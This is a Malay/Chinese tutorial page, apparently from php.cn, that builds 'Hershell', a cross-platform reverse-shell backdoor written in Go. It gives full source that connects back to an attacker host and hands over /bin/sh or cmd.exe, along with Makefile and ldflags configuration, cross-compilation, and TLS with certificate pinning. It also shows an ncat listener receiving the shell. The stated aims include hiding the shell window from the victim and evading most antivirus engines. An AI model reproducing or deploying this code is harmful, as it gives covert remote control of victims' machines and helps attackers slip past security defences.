Rumah > pembangunan bahagian belakang > Golang > Bolehkah bahasa go digunakan untuk ujian penembusan?

Bolehkah bahasa go digunakan untuk ujian penembusan?

青灯夜游
Lepaskan: 2023-01-04 09:14:55
asal
3845 orang telah melayarinya

Bahasa Go boleh digunakan untuk ujian penembusan. Go menjadikannya sangat mudah untuk melakukan kompilasi silang tanpa memerlukan sebarang kebergantungan luaran. Terima kasih kepada perpustakaan standard, perduaan Go mengandungi semua kod yang diperlukan untuk dilaksanakan pada seni bina sasaran, oleh itu, bahasa Go harus memudahkan untuk membina perduaan untuk berbilang platform daripada kod sumber yang sama.

Bolehkah bahasa go digunakan untuk ujian penembusan?

Persekitaran pengendalian tutorial ini: sistem Windows 7, GO versi 1.18, komputer Dell G3.

Apakah itu Ujian Penembusan

Ujian penembusan ialah serangan simulasi yang dibenarkan pada sistem komputer yang direka untuk menguji keselamatannya Menjalankan penilaian menyediakan mekanisme untuk menunjukkan bahawa pertahanan rangkaian berfungsi seperti yang dirancang. Katakan bahawa syarikat anda sentiasa mengemas kini dasar dan prosedur keselamatan, menampal sistem dari semasa ke semasa dan menggunakan alat seperti pengimbas kerentanan untuk memastikan semua tampung digunakan.

Bahasa Go boleh digunakan untuk ujian penembusan

Berikut ialah contoh: Menulis Hershell pintu belakang lantunan

Semasa proses ujian penembusan, alat penting ialah rangka kerja Metasploit yang terkenal dan hebat.

Persekitaran ini mengandungi sejumlah besar muatan, pengekod dan alatan lain. Meterpreter adalah penting di antara muatan ini: ia adalah versi shell yang diubah suai dengan arahan yang dibangunkan dan dieksploitasi selepas. Oleh kerana ciri serangannya yang kuat, cangkang ini mungkin yang paling biasa digunakan.

Masalah dengan Meterpreter

Malangnya, populariti Meterpreter mempunyai kelemahan: ia dikesan oleh kebanyakan penyelesaian anti-virus dan berasaskan tandatangan. Biasanya semasa ujian penembusan, binari yang mengandungi muatan Meterpreter dikesan dan dihantar untuk kuarantin.

Masalah lain mungkin adalah kekurangan sokongan untuk seni bina sasaran tertentu (mis., BSD), yang memaksa kami membangunkan pintu belakang kami sendiri.

Masalah di atas mendorong kami untuk menulis Hershell. Matlamat projek ini adalah untuk menyediakan muatan shell terbalik berdasarkan kod sumber tunggal yang merentas platform dan tidak dapat dikesan oleh perisian anti-virus.

Kami membangunkan menggunakan bahasa Go, iaitu bahasa yang disusun dibangunkan oleh Google.

Mengapa menggunakan bahasa GO?

Kini, Python mungkin merupakan bahasa yang paling popular untuk menulis skrip dan juga melengkapkan aplikasi, terutamanya dalam bidang keselamatan. Jadi mengapa kita ingin mempelajari bahasa baharu

Go mempunyai satu kelebihan berbanding Python atau bahasa lain: sangat mudah untuk melakukan kompilasi silang tanpa sebarang kebergantungan luaran. Terima kasih kepada perpustakaan standard, binari Go mengandungi semua kod yang diperlukan untuk dilaksanakan pada seni bina sasaran. Oleh itu, bahasa Go harus memudahkan untuk membina binari untuk berbilang platform daripada kod sumber yang sama.

Matlamat

Apabila membina kod ini, kami ingin mencapai matlamat berikut:

payload类型是reverse shell;
得到一个跨多个平台(Windows、Linux、MacOS、ARM)和硬件架构的payload;
容易配置;
加密通信;
绕过大多数反病毒检测引擎。
Salin selepas log masuk

Persediaan Alam Sekitar

Pasang pakej Go daripada pengedaran kegemaran anda, atau muat turunnya daripada tapak web rasmi. ​

Setelah dipasang, kita perlu mengkonfigurasi persekitaran. Kami mencipta direktori dev yang akan menjadi punca sumber, perpustakaan dan binari binari:

$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev
Salin selepas log masuk

Direktori mengikut skema berikut:

bin包含编译后的二进制文件和其他可执行文件;
pkg包含Go下载包的对象文件;
src包含你的应用程序和下载包的源目录。
Salin selepas log masuk

Cangkang terbalik pertama saya

Mula-mula, buat cangkerang terbalik TCP yang mudah menggunakan bahasa Go.

Berikut ialah versi yang diulas sepenuhnya, bukannya mengulas kod baris demi baris.

// filename: tcp.go
package main
import (
    "net"       // requirement to establish a connection
    "os"        // requirement to call os.Exit()
    "os/exec"   // requirement to execute commands against the target system
)
func main() {
    // Connecting back to the attacker
    // If it fails, we exit the program
    conn, err := net.Dial("tcp", "192.168.0.23:2233")
    if err != nil {
        os.Exit(1)
    }
    // Creating a /bin/sh process
    cmd := exec.Command("/bin/sh")
    // Connecting stdin and stdout
    // to the opened connection
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    // Run the process
    cmd.Run()
}
Salin selepas log masuk

Pertama, kami menggunakan net.Dail untuk mewujudkan sambungan ke pelayan jauh. Pakej bersih pustaka standard Go ialah lapisan abstraksi untuk komunikasi rangkaian berdasarkan TCP atau UDP.

Mengetahui lebih lanjut tentang cara menggunakan pakej, dokumentasi (go doc) berguna:

$ go doc net
package net // import "net"
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...
Salin selepas log masuk

Mari kita kembali kepada skrip.

Setelah sambungan diwujudkan (jika gagal, program dihentikan), kami mencipta proses (objek jenis exec.Cmd) terima kasih kepada fungsi exec.Command. Semua input dan output (stdout, stdin dan stderr) dialihkan ke sambungan dan proses dimulakan.

Kemudian kita boleh menyusun fail:

$ go build tcp.go
$ ./tcp
Salin selepas log masuk

Kini, kita perlu mendayakan pendengar:

# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)
Salin selepas log masuk

如预期的那样,我们得到了reverse shell。 

到目前为止我们大多数的目标尚未实现。

配置

我们现在有一些reverse shell基本代码。但是在每次编译之后我们必须修改,以便定义攻击者的监听端口和IP地址。

这种操作虽然不是很便利。但这里可以引入一个简单的小技巧:在连接时(在编译之前)进行变量定义。 

事实上,在构建过程中,可以定义一些变量的值(使用go build命令)。 

这是使用前面代码的一个简短的例子:

// filename: tcp.go
package main
import (
    "net"
    "os" 
    "os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    cmd := exec.Command("/bin/sh")
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}
Salin selepas log masuk

我们只添加下面一行代码,进行一个安全测试以检查它是否包含一个值:

var connectString string
Salin selepas log masuk

其代码编译如下:

$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go
Salin selepas log masuk

当我们构建二进制文件时,攻击者的IP地址和端口可以被动态定义。 

注意,可以以package.nomVariable的模式访问这些变量,并且这些变量只能是string类型。

为了简化编译,我们可以创建一个Makefile:

# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
    ${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
    rm -f ${OUTPUT}
Salin selepas log masuk

本文的其余部分,我们将使用LHOST和LPORT环境变量来定义设置:

$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go
Salin selepas log masuk

跨平台

既然可以很容易地配置 payload,也可以跨平台使用它。

如前所述,payload的强项之一是从同一个代码库使用Go语言为各种架构和平台进行构建。

准确地说, runtime提供了GOOS和GOARCH变量。 

让我们看看如何使用GOOS:

// filename: tcp_multi.go
package main
import (
    "net"
    "os"
    "os/exec"
    "runtime"   // requirement to access to GOOS
)
var connectString string
func main() {
    var cmd *exec.Cmd
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    case "linux":
        cmd = exec.Command("/bin/sh")
    case "freebsd":
        cmd = exec.Command("/bin/csh")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}
Salin selepas log masuk

很显然,我们添加了一个switch模块来处理GOOS不同的值。因此,我们只是检查几个操作系统的值,并且改变每个目标进程。 

上面的代码可以进一步简化,实际上除了Windows,大多数操作系统上都有/bin/sh:

switch runtime.GOOS {
case "windows":
    // Windows specific branch
    cmd = exec.Command("cmd.exe")
default:
    // any other OS
    cmd = exec.Command("/bin/sh")
}
Salin selepas log masuk

现在,使用GOARCH处理交叉编译架构非常简单:

$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
 go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Salin selepas log masuk

网络加密

现在,让我们看看如何加密网络流量。  

有几种选择:

用一个自制的方法,在应用程序层建立加密
使用一种被广泛使用并且在会话层测试协议的方法,即TLS。
Salin selepas log masuk

鉴于我们都倾向于简单和安全,我们选择了很容易用Go语言实现的TLS。标准库已经支持一切支持TLS的东西。

在客户端,一个新的&tls.Config类型对象需要配置连接,比如证书锁定(certificate pinning)。

这是新的代码库,进行了轻微的优化和TLS处理:

import (
    "crypto/tls"
    "runtime"
    "os"
    "os/exec"
    "net"
)
var connectString string
func GetShell(conn net.Conn) {
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Stdin = conn
    cmd.Run()
}
func Reverse(connectString string) {
    var (
        conn *tls.Conn
        err  error
    )
    // Creation of the tls.Config object
    // Accepting *any* server certificate
    config := &tls.Config{InsecureSkipVerify: true}
    if conn, err = tls.Dial("tcp", connectString, config); err != nil {
        os.Exit(-1)
    }
    defer conn.Close()
    // Starting the shell
    GetShell(conn)
}
func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    Reverse(connectString)
}
Salin selepas log masuk

如示例所示,创建一个TLS套接字(socket)非常类似于创建一个简单的TCP socket。不同于tls.Config,tls.Conn对象与net.Conn以相同的方式被使用。

条件编译

如上图所示,可以改变取决于目标操作系统的程序执行。

然而,如果你想使用这段代码,你会注意到一个问题。cmd.exe窗口会出现,并且无法隐藏,从而会提醒受害者。

幸运的是,exec.Cmd对象的SysProcAttr可以改变这种情况,如本文所述:

$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下,关于syscall.SysProcAttr模块文件,我们得到以下信息:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
    Chroot       string         // Chroot.
    Credential   *Credential    // Credential.
    Ptrace       bool           // Enable tracing.
    Setsid       bool           // Create session.
    Setpgid      bool           // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
    Setctty      bool           // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
    Noctty       bool           // Detach fd 0 from controlling terminal
    Ctty         int            // Controlling TTY fd
    Foreground   bool           // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
    Pgid         int            // Child's process group ID if Setpgid.
    Pdeathsig    Signal         // Signal that the process will get when its parent dies (Linux only)
    Cloneflags   uintptr        // Flags for clone calls (Linux only)
    Unshareflags uintptr        // Flags for unshare calls (Linux only)
    UidMappings  []SysProcIDMap // User ID mappings for user namespaces.
    GidMappings  []SysProcIDMap // Group ID mappings for user namespaces.
    // GidMappingsEnableSetgroups enabling setgroups syscall.
    // If false, then setgroups syscall will be disabled for the child process.
    // This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
    // users this should be set to false for mappings work.
    GidMappingsEnableSetgroups bool
}
Salin selepas log masuk

然而,在syscall package(包)的源代码中,我们观察到每一个构建都有一个特定的实现。

此外,在Windows的exec子方式中,我们注意到SysProcAttr结构有不同的定义。它有一个HidWindow属性(布尔类型),当启动一个程序时这一属性允许隐藏启动窗口。

该属性也正是我们的后门需要的。

我们可能会被这一实现所吸引:

...
switch runtime.GOOS {
case "windows":
    cmd := exec.Cmd("cmd.exe")
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
    cmd := exec.Cmd("/bin/sh")
}
...
Salin selepas log masuk

然而,由于HideWindow属性在syscall/exec_linux.go中不存在,因此这种编译在除了Windows之外的任何其他平台可能会失败。

因此,我们需要调整我们的项目的结构,使用条件编译。条件编译指的是一种特性,允许添加源代码文件顶部编译器的命令。例如,如果我们想要编译一个只适用于Windows操作系统的源文件,我们将添加该命令:

// +build windows !linux !darwin !freebsd
import net
...
Salin selepas log masuk

当GOOS变量设置为darwin、 linux 或者freebsd时,该命令将指示编译器不包括该文件。当然,当值与windows匹配时,编译器将包含该源文件。  

为了在我们的项目中实现该条件编译,我们将遵循这个结构:

$ tree 
├── hershell.go
├── Makefile
├── README.md
└── shell
    ├── shell_default.go
    └── shell_windows.go
Salin selepas log masuk

hershell.go包含程序的核心部分。然后,我们创建一个名为shell的模块,该模块有两个文件:适用于Linux和Unix的shell_default.go文件;以及适用于Windows的shell_windows.go文件。  

证书锁定

使用TLS安全通信是件好事,但只要我们不对服务器进行身份验证,流量仍然可以被“中间人”劫持。  

为了预防这种攻击,我们将验证服务器提供的证书,这就叫做“证书锁定(certificate pinning)”。 

以下函数负责证书锁定(certificate pinning):

func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
        valid := false
        connState := conn.ConnectionState()
        for _, peerCert := range connState.PeerCertificates {
                hash := sha256.Sum256(peerCert.Raw)
                if bytes.Compare(hash[0:], fingerprint) == 0 {
                        valid = true
                }
        }
        return valid, nil
}
Salin selepas log masuk

这个函数接受一个tls.Conn对象的指针作为参数,并且包含SHA256格式的指纹证书的一个字节数组。在连接过程中,该代码扫描所有tls.Conn中的PeerCertificates,直到发现与提供的相匹配的指纹为止。 

如果碰巧没有证书匹配,函数返回false。

当需要建立与远程服务器的连接时,我们只需要调用该函数;如果提交的证书是无效的则会关闭连接:

func Reverse(connectString string, fingerprint []byte) {
        var (
                conn *tls.Conn
                err  error
        )
        config := &tls.Config{InsecureSkipVerify: true}
        if conn, err = tls.Dial("tcp", connectString, config); err != nil {
                os.Exit(ERR_HOST_UNREACHABLE)
        }
        defer conn.Close()
        // checking the certificate fingerprint
        if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
                os.Exit(ERR_BAD_FINGERPRINT)
        }
        RunShell(conn)
}
Salin selepas log masuk

最初,由于–ldflags,在编译(在Makefile中)过程中可以生成有效的指纹:

...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...
Salin selepas log masuk

【相关推荐:Go视频教程编程教学

Atas ialah kandungan terperinci Bolehkah bahasa go digunakan untuk ujian penembusan?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:php.cn
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan